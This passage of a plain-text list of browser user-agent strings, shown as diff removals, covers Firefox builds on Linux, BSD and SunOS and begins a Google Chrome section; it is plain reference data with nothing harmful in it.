U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8) Gecko/20051231 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.20) Gecko/20110805 Ubuntu/10.04 (lucid) Firefox/3.6.20 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.24) Gecko/20111101 SUSE/3.6.24-0.2.1 Firefox/3.6.24 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; ja-JP; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16 -Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 -Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:2.0) Gecko/20110307 Firefox/4.0 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.4) Gecko/20070611 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.7) Gecko/20071009 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 -Mozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/8.04 (hardy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 -Mozilla/5.0 (X11; U; NetBSD alpha; en-US; rv:1.8.1.6) Gecko/20080115 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; NetBSD amd64; fr-FR; rv:1.8.0.7) Gecko/20061102 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.5) Gecko/20060818 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8) Gecko/20060104 Firefox/1.5 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 -Mozilla/5.0 (X11; U; NetBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20070822 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.0.9) Gecko/20070101 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.1.6) Gecko/20070817 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 -Mozilla/5.0 (X11; U; OpenBSD i386; de-DE; rv:1.8.1.6) Gecko/20080429 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.10) Gecko/20050919 (No IDN) Firefox/1.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.1) Gecko/20060213 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.4) Gecko/20060628 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.5) Gecko/20060819 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20060920 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20061017 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.16) Gecko/20080812 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.3) Gecko/20070505 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.6) Gecko/20070819 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.7) Gecko/20070930 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8 -Mozilla/5.0 (X11; U; OpenBSD sparc64; en-AU; rv:1.8.1.6) Gecko/20071225 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD sparc64; en-CA; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; OpenBSD sparc64; en-US; rv:1.8.1.6) Gecko/20070816 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD sparc64; pl-PL; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.12) Gecko/20051121 Firefox/1.0.7 (Nexenta package 1.0.7) -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.5) Gecko/20041109 Firefox/1.0 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.0.5) Gecko/20060728 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.3) Gecko/20070423 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061211 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS i86pc; en-ZW; rv:1.8.1.6) Gecko/20071125 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.8.1.6) Gecko/20070805 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.9.1b4) Gecko/20090428 Firefox/2.0.0.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-GB; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050927 Firefox/1.0.7 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.11) Gecko/20080118 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.14) Gecko/20080418 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.20) Gecko/20090108 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.9) Gecko/20071102 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061228 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8) Gecko/20051130 Firefox/1.5 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (X11; U; SunOS sun4u; it-IT;) Gecko/20080000 Firefox/3.0 -Mozilla/5.0 (X11; U; SunOS sun4u; pl-PL; rv:1.8.1.6) Gecko/20071217 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; SunOS sun4v; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; SunOS sun4v; es-ES; rv:1.8.1.9) Gecko/20071127 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Windows NT i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.8.16) Gecko/20071015 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (ZX-81; U; CP/M86; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 -Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 -Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) -Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) - -# Google Chrome - -Mozilla/4.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11.0.1245.0 Safari/537.36 -Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 ArchLinux (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 -Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Macintosh; AMD Mac OS X 10_8_2) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/18.6.872 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.31 (KHTML, like Gecko) Chrome/13.0.748.0 Safari/534.31 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.32 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 